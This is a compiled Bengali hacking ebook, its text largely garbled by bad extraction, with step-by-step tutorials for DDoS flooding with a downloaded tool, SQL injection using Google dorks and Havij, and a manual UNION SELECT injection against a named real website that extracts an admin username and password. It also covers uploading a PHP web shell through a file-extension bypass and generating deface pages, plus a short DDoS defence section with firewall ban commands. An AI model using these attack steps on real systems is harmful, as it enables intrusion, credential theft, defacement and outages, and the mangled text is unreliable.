
httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 40: Hacking Bangla eBook

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

